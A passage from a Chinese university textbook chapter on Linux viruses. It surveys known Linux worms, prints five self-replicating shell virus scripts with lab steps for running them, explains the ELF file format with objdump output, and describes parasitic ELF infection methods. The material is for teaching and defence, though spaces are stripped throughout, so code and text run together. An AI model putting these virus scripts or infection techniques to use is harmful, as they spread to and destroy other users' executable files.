《計算機(jī)病毒及其防范技術(shù)》第七章 Linux病毒_第1頁
《計算機(jī)病毒及其防范技術(shù)》第七章 Linux病毒_第2頁
《計算機(jī)病毒及其防范技術(shù)》第七章 Linux病毒_第3頁
《計算機(jī)病毒及其防范技術(shù)》第七章 Linux病毒_第4頁
《計算機(jī)病毒及其防范技術(shù)》第七章 Linux病毒_第5頁
已閱讀5頁,還剩83頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

Linux病毒技術(shù)本章的學(xué)習(xí)目標(biāo):了解Linux的安全問題掌握Linux病毒的概念掌握Linux下的腳本病毒熟悉ELF文件格式掌握ELF病毒感染方法一、Linux病毒介紹Linux安全嗎?一個最大的誤區(qū)就是很多高性能的安全操作系統(tǒng)可以預(yù)防計算機(jī)病毒。另一個誤區(qū)就是認(rèn)為Linux系統(tǒng)尤其可以防止病毒的感染,因為Linux的程序都來自于源代碼,不是二進(jìn)制格式。第三個誤區(qū)就是認(rèn)為Linux系統(tǒng)是絕對安全的,因為它具有很多不同的平臺,而且每個版本的Linux系統(tǒng)有很大的不一樣。Linux病毒列表Slapper:ThemostdangerousLinuxworm;it'snetwork-awareandinAugust2002itexploitedaflawinOpenSSLlibrariesinApacheserverswithOpenSSLenabled.Bliss:Alsoawell-knownbug,itinfectsELFexecutables,locatingbinarieswithwriteaccessandoverwritesthosewithitsowncode.Staog:ConsideredthefirstLinuxvirus,itinfectsELFexecutables.Typot:ALinuxTrojanthatdoesdistributedportscanning,generatingTCPpacketswithawindowsizeof55808.Mydoom:Windowswormhavenetworkpropagationandprocessterminationcapabilitiestolaunchadenialofservice(DoS)attackon.

TNFADDoSagent.MakesICMPflood,SYNflood,UDPflood,andSmurfattacks.Italsohasthecapabilityofinstallinga“rootshell”ontotheaffectedsystem.R16.ADeletefileinthecurrentdirectory.Overwirte/bin/cp,/bin/ls.Create/usr/SEXLOADER,/usr/TMP001.NOT.RAMENThefirstvirusinLinux.Overwriteallindex.htmlinthesystem.Addtwoftpaccount“anonymous"and"ftp”inthesystem.Additself’sscriptin/etc/rc.d/rc.sysinit.rpc.statd(port111/udp),wu-ftpd(port21/tcp),LPRng(port515)LINDOSE.ALindose:Ararecross-platformscourge,abletojumpWindowsPEandLinuxELFexecutables.It'saproof-of-conceptwormandhasnothitthewild.IfthePEfileislargerthan16,384bytes,andit’s".RELOC"blockislargerthan2,632bytes,LINDOSE.Awillinfectsit.IfthemachineisIntel80386andhasELFfilesinthesystem,LINDOSE.Awilloverwritethebyteslargerthan2,784bytesinthefile.MSTREAM.MSTADDoSagent.ItwillopenTCPport6732andUDPport9325.Createmasterandserverfiles.ADORE.AAinternetworm.Overwrite/bin/ps.ExecutesICMP,andopensport65535.BIND,wu-ftpd,rpc.statd,lpd.CHEESE.AInclude"GO"shellscript,"CHEESE“perlscript,and“PSM”ELF.shellscriptGOrunsperlscriptCHEESE.Deleteall/bin/shin/etc/inetd.conf.Closeinetd.UsePSMtocreatesrandomIPfrom193.1.x.xto218.254.x.xandcreatesTCPport10008./tmp/.cheese/ADL/tmp/.cheese/CHEESE/tmp/.cheese/PSM/tmp/.cheese/CHEESE.UUERAMEN.10ALinuxwebserverInternetworm.Itcangetwebserver’spasswordsordocuments.LPRngandRIPC.STATD.QUASIItwillinfectELFfilesinthecurrentdirectory.Ithasnodestructiveness.PASSItiswritedbyGNUC.ItwillchangeUnixshell.VirusThreatsonLinuxEnvironmentTriple二、Linux病毒分類第一種:Shell腳本病毒第二種:蠕蟲病毒第三種:欺騙庫函數(shù)第四種:內(nèi)核級的傳播第五種:與平臺兼容的病毒Linux系統(tǒng)下的腳本病毒shell在不同的Linux系統(tǒng)上面的差別很小。Shell簡單易學(xué)。第一,最原始的shell病毒。#shellvirusI#forfilein./infect/*docp$0$filedone第二,一個簡單的Shell病毒#shellvirusII#forfilein./infect/*doiftest-f$file#判斷是否為文件theniftest-x$file#判斷是否可執(zhí)行theniftest-w$file#判斷是否有寫權(quán)限thenifgrep-secho$file>.mmm#判斷是否為腳本文件thencp$0$file#覆蓋當(dāng)前文件fifififidonerm.mmm-f第三,具有感染機(jī)制的Shell病毒#shellvirusIII##infectionhead-n35$0>.test1#取病毒自身代碼并保存到.testforfilein./*#遍歷當(dāng)前目錄中的文件doecho$filehead-n1$file>.mm#提取要感染的腳本文件的第一行ifgrepinfection.mm>.mmm#判斷是否有感染標(biāo)記infectionthen#已經(jīng)被感染,則跳過echo"infectedfileandrm.mm"rm-f.mmelse#尚未感染,繼續(xù)執(zhí)行iftest-f$filethenecho"test-f"iftest-x$filethenecho"test-x"iftest-w$filethenecho"test-w"ifgrep-secho$file>.mmmthenecho"test-sandcat..."cat$file>.SAVEE#把病毒代碼放在腳本文件的開始部分cat.test1>$file#原有代碼追加在末尾cat.SAVEE>>$file#形成含有病毒代碼的腳本文件fififififidonerm.test1.SAVEE.mmm.mm–f#清理工作第四,更加晦澀的病毒#ShellVirusIV##infectionforfilein./*;do#分號(;)表示命令分隔符iftest-f$file&&test-x$file&&test-w$file;thenifgrep-secho$file>/dev/nul;thenhead-n1$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsehead-n14$0>.SAVEEcat$file>>.SAVEEcat.SAVEE>$filefififidonerm-f.SAVEE.mm

第五,感染特定目錄的Shell病毒#ShellVirusV##infectionxtemp=$pwd#保存當(dāng)前路徑head-n22$0>/.test1fordirin./*;do#遍歷當(dāng)前目錄iftest-d$dir;then#如果有子目錄則進(jìn)入cd$dirforfilein./*;do#遍歷該目錄文件iftest-f$file&&test-x$file&&test-w$file;thenifgrep-secho$file>/dev/nul;thenhead-n1$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsecat$file>/.SAVEE#完成感染cat/.test1>$filecat/.SAVEE>>$filefififidonecd..fidonecd$xtemprm-f/.test1/.SAVEE.mm#清理工作腳本病毒實驗【實驗?zāi)康摹苛私釲inux腳本型病毒的基本編制原理。了解腳本病毒的感染、破壞機(jī)制,進(jìn)一步認(rèn)識Linux操作系統(tǒng)下的病毒?!緦嶒灜h(huán)境】運(yùn)行環(huán)境RedHatLinux操作系統(tǒng)。【實驗步驟】文件位置:光盤盤符:\Experiment\LinuxScript。該目錄下共包含v_1.sh、v_2.sh、v_3.sh、v_4.sh、v_5.sh等5個Linux系統(tǒng)下的腳本病毒文件。拷貝這些文件到Linux系統(tǒng)。修改這些病毒為可執(zhí)行文件。創(chuàng)建測試用腳本文件(例如,test.sh),根據(jù)病毒感染能力,注意測試文件的屬性、所在目錄層次等。依次執(zhí)行這5個腳本病毒,察看它們的執(zhí)行效果?!緦嶒炞⒁馐马棥勘静《境绦蛴糜趯嶒?zāi)康?,請妥善使用。本病毒程序具有一定的破壞力,做實驗室注意安全,推薦使用虛擬機(jī)環(huán)境。Linux可執(zhí)行文件格式(ELF)Elf也就是“ExecutableandLinkingFormat.”Elf起源于Unix,經(jīng)改進(jìn)應(yīng)用于FreeBSD和Linux等現(xiàn)有類Unix操作系統(tǒng)。微軟的PE格式也學(xué)習(xí)了ELF格式的優(yōu)點(diǎn)。ELF文檔服務(wù)于在不同的操作系統(tǒng)上目標(biāo)文件的創(chuàng)建或者執(zhí)行文件的開發(fā)。它分以下三個部分:“目標(biāo)文件”描述了ELF目標(biāo)文件格式三種主要的類型?!俺绦蜓b載和動態(tài)連接”描述了目標(biāo)文件的信息和系統(tǒng)在創(chuàng)建運(yùn)行時程序的行為?!癈語言庫”列出了所有包含在libsys中的符號、標(biāo)準(zhǔn)的ANSIC和libc的運(yùn)行程序,還有l(wèi)ibc運(yùn)行程序所需的全局的數(shù)據(jù)符號。三種主要類型:一個可重定位文件(relocatablefile)保存著代碼和適當(dāng)?shù)臄?shù)據(jù),用來和其他的目標(biāo)文件一起來創(chuàng)建一個可執(zhí)行文件或者是一個共享文件。一個可執(zhí)行文件(executablefile)保存著一個用來執(zhí)行的程序,該文件指出了exec(BA_OS)如何來創(chuàng)建程序進(jìn)程映象。一個共享目標(biāo)文件(sharedobjectfile)保存著代碼和合適的數(shù)據(jù),用來被下面的兩個鏈接器鏈接。第一個是鏈接編輯器,可以和其他的重定位和共享目標(biāo)文件來創(chuàng)建另一個目標(biāo)文件。第二個是動態(tài)鏈接器,聯(lián)合一個可執(zhí)行文件和其他的共享目標(biāo)文件來創(chuàng)建一個進(jìn)程映象。ELF的結(jié)構(gòu)ELFheaderELFheaderProgramheadertable(optional)ProgramheadertableSection1Segment1…Segment2Sectionn……………SectionheadertableSectionheadertable(optional)ELF頭#defineEI_NIDENT16 typedefstruct{unsignedchar e_ident[EI_NIDENT];Elf32_Half e_type;Elf32_Half e_machine;Elf32_Word e_version;Elf32_Addr e_entry;Elf32_Off e_phoff;Elf32_Off e_shoff;Elf32_Word e_flags;Elf32_Half e_ehsize;Elf32_Half e_phentsize;Elf32_Half e_phnum;Elf32_Half e_shentsize;Elf32_Halfe_shnum;Elf32_Halfe_shstrndx;}Elf32_Ehdr;常用標(biāo)示名稱偏移量目的EI_MAG00e_ident[EI_MAG0]toe_ident[EI_MAG3]:文件的前4個字符保存一個魔術(shù)數(shù)(magicnumber),用來確定該文件是否為ELF的目標(biāo)文件。參見表7-7EI_MAG11EI_MAG22EI_MAG33EI_CLASS4e_ident[EI_CLASS],用來確定文件的類型或者說是容量。參見表1-8EI_DATA5e_ident[EI_DATA]指定了在目標(biāo)文件中特定處理器數(shù)據(jù)的編碼方式。參見表1-9EI_VERSION6e_ident[EI_VERSION]表明了ELF頭的版本號?,F(xiàn)在這個變量的值一定要設(shè)為EV_CURRENT,參見表7-5EI_OSABI7操作系統(tǒng)和ABI的標(biāo)識EI_ABIVERSION8ABI版本EI_PAD9e_ident[EI_PAD]標(biāo)識了在e_ident中開始的未使用的字節(jié),那些字節(jié)保留并被設(shè)置為0。程序把它們從目標(biāo)文件中讀出但應(yīng)該忽略。如果當(dāng)前未被使用的字節(jié)有了新的定義,EI_PAD變量將會被改變。EI_NIDENT16e_ident[]的長度節(jié)一個目標(biāo)文件的節(jié)頭表可以讓我們定位所有的節(jié)。節(jié)頭表是一個Elf32_Shdr結(jié)構(gòu)的數(shù)組。一個節(jié)頭表的索引是這個數(shù)組的下標(biāo)。ELF頭結(jié)構(gòu)中的e_shoff成員給出了節(jié)頭表的偏移量(從文件開始計數(shù))。e_shnum告訴我們節(jié)頭表中包含了多少個表項;e_shentsize給出了每個表項的長度。某些節(jié)頭表索引是保留的,這些索引在目標(biāo)文件中沒有與之對應(yīng)的節(jié)。

typedefstruct{Elf32_Word sh_name;Elf32_Word sh_type;Elf32_Word sh_flags;Elf32_Addr sh_addr;Elf32_Off sh_offset;Elf32_Word sh_size;Elf32_Word sh_link;Elf32_Word sh_info;Elf32_Word sh_addralign;Elf32_Word sh_entsize;}Elf32_Shdr;字符串表字符串表節(jié)(Stringtablesections)保存著以NULL終止的一系列字符,一般我們稱為字符串。目標(biāo)文件使用這些字符串來表示符號和節(jié)名。一個字符串的引用是一個字符串表節(jié)的索引。字符表一個目標(biāo)文件的符號表(symboltable)保存了定位和重定位程序的定義和引用的信息。一個符號表索引是相應(yīng)的下標(biāo)。0表項特指了該表的第一個表項,就象未定義的符號索引一樣。重定位重定位(Relocation)是鏈接符號引用和符號定義的過程。比如,當(dāng)一個程序調(diào)用一個函數(shù)的時候,相關(guān)的調(diào)用必須在執(zhí)行時把控制傳送到正確的目標(biāo)地址。換句話說,重定位文件應(yīng)當(dāng)包含如何修改他們的節(jié)內(nèi)容的信息,從而允許可執(zhí)行文件或共享目標(biāo)文件為一個進(jìn)程的程序映像保存正確的信息。程序頭一個可執(zhí)行的或共享的目標(biāo)文件的程序頭表是一個結(jié)構(gòu)數(shù)組,每一個結(jié)構(gòu)描述一個段或其他系統(tǒng)準(zhǔn)備執(zhí)行該程序所需要的信息。一個目標(biāo)文件段包含一個或多個部分(就象下面的“段目錄”所描述的那樣)。程序頭僅僅對于可執(zhí)行或共享的目標(biāo)文件有意義。typedefstruct{Elf32_Word p_type;Elf32_Off p_offset;Elf32_Addr p_vaddr;Elf32_Addr p_paddr;Elf32_Word p_filesz;Elf32_Word p_memsz;Elf32_Word p_flags;Elf32_Word p_align;}Elf32_Phdr;段內(nèi)容實例TextSegmentDataSegment程序載入當(dāng)創(chuàng)建或增加一個進(jìn)程映像的時候,系統(tǒng)在邏輯上將拷貝一個文件的段到一個虛擬的內(nèi)存段。動態(tài)鏈接程序解釋器(ProgamInterpreter)系統(tǒng)為解釋器“編寫”了一個內(nèi)存映像,而不是使用原始的可執(zhí)行文件的段映像。此時該解釋器就負(fù)責(zé)接收來自系統(tǒng)的控制并且為應(yīng)用程序提供一個環(huán)境變量。動態(tài)鏈接器(DynamicLinker)當(dāng)使用動態(tài)鏈接方式建立一個可執(zhí)行文件時,鏈接器把一個PT_INTERP類型的元素加到可執(zhí)行文件中,告訴系統(tǒng)像該系統(tǒng)的解釋器一樣調(diào)用動態(tài)鏈接器。動態(tài)節(jié)(DynamicSection)如果一個目標(biāo)文件參與動態(tài)的鏈接,它的程序頭表將有一個類型為PT_DYNAMIC的元素。該“段”包含了.dynamic節(jié)。一個_DYNAMIC特別的符號,表明了該節(jié)包含了以下結(jié)構(gòu)的一個數(shù)組。共享目標(biāo)的依賴關(guān)系(SharedObjectDependencies)當(dāng)鏈接器處理一個文檔庫時,它取出庫中成員并且把它們拷貝到一個輸出的目標(biāo)文件中。當(dāng)運(yùn)行時沒有包括一個動態(tài)鏈接器的時候,那些靜態(tài)的鏈接服務(wù)是可用的。共享目標(biāo)也提供服務(wù),動態(tài)鏈接器必須把正確的共享目標(biāo)文件鏈接到要執(zhí)行的進(jìn)程映象中。因此,可執(zhí)行文件和共享的目標(biāo)文件之間存在著明確的依賴性。全局偏移量表(GlobalOffsetTable,GOT)全局偏移量表在私有數(shù)據(jù)中保存著絕對地址,所以在不影響位置無關(guān)性和程序代碼段共享能力的情況下應(yīng)該使地址是可用的。一個程序參考它的GOT(使用位置無關(guān)的地址)并提取絕對的地址,所以與重定向無關(guān)的位置定位到絕對的位置。PLT過程連接表(ProcedureLinkageTable)正如GOT重定位把位置無關(guān)的地址計算成絕對地址一樣,PLT過程鏈接表重定向那些與位置無關(guān)的函數(shù)調(diào)用到絕對的地址。簡單的C程序及其ELF格式信息intxx,yy;main(){xx=1;yy=2;printf("xx%dyy%d\n",xx,yy);}ELF頭信息shieyuan3#objdump-fa.outa.out:fileformatelf32-i386architecture:i386,flags0x00000112:EXEC_P,HAS_SYMS,D_PAGEDstartaddress0x080483dc程序頭ProgramHeader:PHDRoff0x00000034vaddr0x08048034paddr0x08048034align2**2filesz0x000000c0memsz0x000000c0flagsr-xINTERPoff0x000000f4vaddr0x080480f4paddr0x080480f4align2**0filesz0x00000019memsz0x00000019flagsr--LOADoff0x00000000vaddr0x08048000paddr0x08048000align2**12filesz0x00000564memsz0x00000564flagsr-xLOADoff0x00000564vaddr0x08049564paddr0x08049564align2**12filesz0x000000a8memsz0x000000ccflagsrw-DYNAMICoff0x0000059cvaddr0x0804959cpaddr0x0804959calign2**2filesz0x00000070memsz0x00000070flagsrw-NOTEoff0x00000110vaddr0x08048110paddr0x08048110align2**2filesz0x00000018memsz0x00000018flagsr--Dynamic節(jié)DynamicSection:NEEDEDlibc.so.4INIT0x8048390FINI0x8048550HASH0x8048128STRTAB0x80482c8SYMTAB0x80481b8STRSZ0xadSYMENT0x10DEBUG0x0PLTGOT0x8049584PLTRELSZ0x18PLTREL0x11JMPREL0x8048378Needtolinkthissharedlibraryforprintf()節(jié)頭表Sections:IdxNameSizeVMALMAFileoffAlgn0.interp00000019080480f4080480f4000000f42**0CONTENTS,ALLOC,LOAD,READONLY,DATA1.note.ABI-tag000000180804811008048110000001102**2CONTENTS,ALLOC,LOAD,READONLY,DATA2.hash000000900804812808048128000001282**2CONTENTS,ALLOC,LOAD,READONLY,DATA3.dynsym00000110080481b8080481b8000001b82**2CONTENTS,ALLOC,LOAD,READONLY,DATA4.dynstr000000ad080482c8080482c8000002c82**0CONTENTS,ALLOC,LOAD,READONLY,DATA5.rel.plt000000180804837808048378000003782**2CONTENTS,ALLOC,LOAD,READONLY,DATA6.init0000000b0804839008048390000003902**2CONTENTS,ALLOC,LOAD,READONLY,CODE7.plt000000400804839c0804839c0000039c2**2CONTENTS,ALLOC,LOAD,READONLY,CODE8.text00000174080483dc080483dc000003dc2**2 CONTENTS,ALLOC,LOAD,READONLY,CODE

節(jié)頭表(cont’d)

9.fini000000060804855008048550000005502**2CONTENTS,ALLOC,LOAD,READONLY,CODE10.rodata0000000e0804855608048556000005562**0CONTENTS,ALLOC,LOAD,READONLY,DATA11.data0000000c0804956408049564000005642**2CONTENTS,ALLOC,LOAD,DATA12.eh_frame000000040804957008049570000005702**2CONTENTS,ALLOC,LOAD,DATA13.ctors000000080804957408049574000005742**2CONTENTS,ALLOC,LOAD,DATA14.dtors000000080804957c0804957c0000057c2**2CONTENTS,ALLOC,LOAD,DATA15.got000000180804958408049584000005842**2CONTENTS,ALLOC,LOAD,DATA16.dynamic000000700804959c0804959c0000059c2**2CONTENTS,ALLOC,LOAD,DATA17.bss000000240804960c0804960c0000060c2**2ALLOC18.stab000001bc00000000000000000000060c2**2CONTENTS,READONLY,DEBUGGING19.stabstr000003880000000000000000000007c82**0CONTENTS,READONLY,DEBUGGING20.comment000000c8000000000000000000000b502**0符號表SYMBOLTABLE:080480f4ld.interp0000000008048110ld.note.ABI-tag0000000008048128ld.hash00000000080481b8ld.dynsym00000000080482c8ld.dynstr0000000008048378ld.rel.plt0000000008048390ld.init000000000804839cld.plt00000000080483dcld.text0000000008048550ld.fini0000000008048556ld.rodata0000000008049564ld.data0000000008049570ld.eh_frame0000000008049574ld.ctors000000000804957cld.dtors0000000008049584ld.got000000000804959cld.dynamic00000000符號表(cont’d)0804960cld.bss0000000000000000ld.stab0000000000000000ld.stabstr0000000000000000ld.comment0000000000000000ld.note0000000000000000ld*ABS*0000000000000000ld*ABS*0000000000000000ld*ABS*0000000000000000ldf*ABS*00000000crtstuff.c08048460l.text00000000gcc2_compiled.08049568lO.data00000000p.30804957clO.dtors00000000__DTOR_LIST__0804956clO.data00000000completed.408048460lF.text00000000__do_global_dtors_aux08049570lO.eh_frame00000000__EH_FRAME_BEGIN__符號表(cont’d)080484b4lF.text00000000fini_dummy0804960clO.bss00000018object.11080484bclF.text00000000frame_dummy080484e0lF.text00000000init_dummy08049570lO.data00000000force_to_data08049574lO.ctors00000000__CTOR_LIST__00000000ldf*ABS*00000000crtstuff.c08048520l.text00000000gcc2_compiled.08048520lF.text00000000__do_global_ctors_aux08049578lO.ctors00000000__CTOR_END__08048548lF.text00000000init_dummy08049570lO.data00000000force_to_data08049580lO.dtors00000000__DTOR_END__08049570lO.eh_frame00000000__FRAME_END__00000000ldf*ABS*00000000p10.c080483acF*UND*00000031printf0804959cgO*ABS*00000000_DYNAMIC08048550gO*ABS*00000000_etext08048390gF.init00000000_init08049624gO.bss00000004environ00000000w*UND*00000000__deregister_frame_info08049630gO*ABS*00000000end08049628gO.bss00000004xx符號表(cont’d)08049564gO.data00000004__progname080483dcgF.text00000083_start0804960cgO*ABS*00000000__bss_start080484e8gF.text00000038main08048550gF.fini00000000_fini0804962cgO.bss00000004yy080483bcF*UND*00000070atexit0804960cgO*ABS*00000000_edata08049584gO*ABS*00000000_GLOBAL_OFFSET_TABLE_08049630gO*ABS*00000000_end080483ccF*UND*0000005bexit00000000w*UND*00000000__register_frame_info動態(tài)符號表DYNAMICSYMBOLTABLE:080483acDF*UND*00000031printf0804959cgDO*ABS*00000000_DYNAMIC08048550gDO*ABS*00000000_etext08048390gDF.init00000000_init08049624gDO.bss00000004environ00000000wD*UND*00000000__deregister_frame_info08049630gDO*ABS*00000000end08049564gDO.data00000004__progname0804960cgDO*ABS*00000000__bss_start08048550gDF.fini00000000_fini080483bcDF*UND*00000070atexit0804960cgDO*ABS*00000000_edata08049584gDO*ABS*00000000_GLOBAL_OFFSET_TABLE_08049630gDO*ABS*00000000_end080483ccDF*UND*0000005bexit00000000wD*UND*00000000__register_frame_infoDebuggingInformationintmain(){/*0x80484e8*/}/*0x80484e8*/intmain(){/*0x80484e8*//*file/usr/home/shieyuan/test/p10.cline3addr0x80484ee*//*file/usr/home/shieyuan/test/p10.cline5addr0x80484ee*//*file/usr/home/shieyuan/test/p10.cline6addr0x80484f8*//*file/usr/home/shieyuan/test/p10.cline7addr0x8048502*//*file/usr/home/shieyuan/test/p10.cline8addr0x804851e*//*file/usr/home/shieyuan/test/p10.cline8addr0x804851e*/}/*0x8048520*/intxx/*0x8049628*/;intyy/*0x804962c*/;動態(tài)重定位表DYNAMICRELOCATIONRECORDSOFFSETTYPEVALUE08049590R_386_JUMP_SLOTprintf08049594R_386_JUMP_SLOTatexit08049598R_386_JUMP_SLOTexitELF格式文件病毒感染原理無關(guān)ELF格式的感染方法覆蓋式感染這種感染最初的思路很簡單,就是將病毒體直接拷貝到宿主文件中,從開始部分覆蓋宿主文件,從而宿主文件被感染成單純的病毒體,一般情況下宿主文件會遭到破壞,若要使得在病毒執(zhí)行后仍然交換控制權(quán)給宿主文件,則需要給宿主文件備份,這里的思路并不復(fù)雜只是將原宿主文件復(fù)制到一個隱藏文件,然后在病毒體執(zhí)行完之后執(zhí)行宿主文件,使得進(jìn)程映像中添加的是原宿主文件的內(nèi)容。追加式感染這種感染最初的思路也很簡單,同上面那種方式不同的是將病毒體直接追加到宿主文件中,或者將宿主追加到病毒體之后,并不存在覆蓋宿主文件的行為,從而宿主文件被感染成單純的病毒體和原宿主文件的合體,在病毒文件執(zhí)行后交換控制權(quán)給宿主文件。感染過程:查找當(dāng)前目錄下的可執(zhí)行文件(也可以進(jìn)行小規(guī)模的目錄查找)找到可執(zhí)行文件test后,修改病毒體,使病毒執(zhí)行結(jié)束后能夠提取宿主文件到一個新文件,然后執(zhí)行這個新文件進(jìn)行進(jìn)程映像替換,即交還控制權(quán)給宿主文件;合并病毒體到test,不覆蓋宿主文件,但放在宿主文件內(nèi)容之前;執(zhí)行過程:病毒體先執(zhí)行病毒體執(zhí)行完后,找到病毒體尾部提取宿主文件到新文件執(zhí)行新文件利用ELF格式的感染方法與ELF格式相關(guān)的感染方法,需要根據(jù)ELF格式來改變ELF格式內(nèi)容,從而使病毒代碼和宿主代碼共存并且病毒代碼執(zhí)行結(jié)束后能順利交接控制權(quán)給宿主。向ELF文件中插入寄生病毒代碼要求宿主文件和病毒體都是完整的,因此插入的病毒代碼會造成段的使用大小增加。文本段數(shù)據(jù)段之間填充區(qū)段頁號頁內(nèi)內(nèi)容注釋文本段NTTTTTTTTTTTTTTTTTTTTTT:文本段代碼P:填充代碼D:數(shù)據(jù)段代碼N+1TTTTTTTTTTTTTTTTTPPPPP數(shù)據(jù)段N+2PPPPPPDDDDDDDDDDDDDDN+3DDDDDDDDDDDDDDDDDDD利用文本段之后填充在文本段末尾插入代碼有以下幾件事需要做:增加"ELFheader"中的p_shoff以包含新代碼定位"textsegmentprogramheader"

增加p_filesz算入新代碼 增加p_memsz算入新代碼對于文本段phdr之后的其他phdr

修正p_offset對于那些因插入寄生代碼影響偏移的每節(jié)的shdr

修正sh_offset在文件中物理地插入寄生代碼到這個位置根據(jù)ELF規(guī)范,p_vaddr和p_offset在Phdr中必須模pagesize相等。p_vaddr(modPAGE_SIZE)=p_offset(modPAGE_SIZE)感染后的情況ELFHeaderProgramheadertableSegment1(宿主文本段)寄生代碼Segment2(數(shù)據(jù)段)SectionheadertableExtrasections段頁號頁內(nèi)內(nèi)容注釋文本段NTTTTTTTTTTTTTTTTTTTTTTT:文本段代碼P:填充代碼V:病毒代碼D:數(shù)據(jù)段代碼N+1TTTTTTTTTTTTTTTTTVVVVN+2VVVPPPPPPPPPPPPPPPPPPPP數(shù)據(jù)段N+3PPPPPPDDDDDDDDDDDDDDN+4DDDDDDDDDDDDDDDDDDD數(shù)據(jù)段之后插入感染修改病毒代碼,使病毒代碼執(zhí)行后能夠跳轉(zhuǎn)到原來的入口點(diǎn);定位數(shù)據(jù)段:修改ELF頭中的入口點(diǎn),指向新的代碼,即數(shù)據(jù)段末尾處(p_vaddr+p_memsz);修改e_shoff字段指向新的節(jié)頭表偏移量,即原來的加上加入的病毒大小和bss段大??;對于數(shù)據(jù)段程序頭: 增加p_filesz用來包括新的代碼和.bss節(jié); 增加p_memsz包含入新的代碼; 計算.bss節(jié)的大?。╬_memsz-p_filesz);對于任何一個插入點(diǎn)之后節(jié)的節(jié)頭shdr: 增加sh_offset,增加數(shù)值為病毒大小與.bss節(jié)大小的和;物理地插入病毒代碼到文件中: 移動節(jié)頭表以及其他兩個不屬于任何段的節(jié)。感染后的情況ELFHeaderProgramheadertableSegment1Segment2(宿主數(shù)據(jù)段)寄生代碼SectionheadertableExtr

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論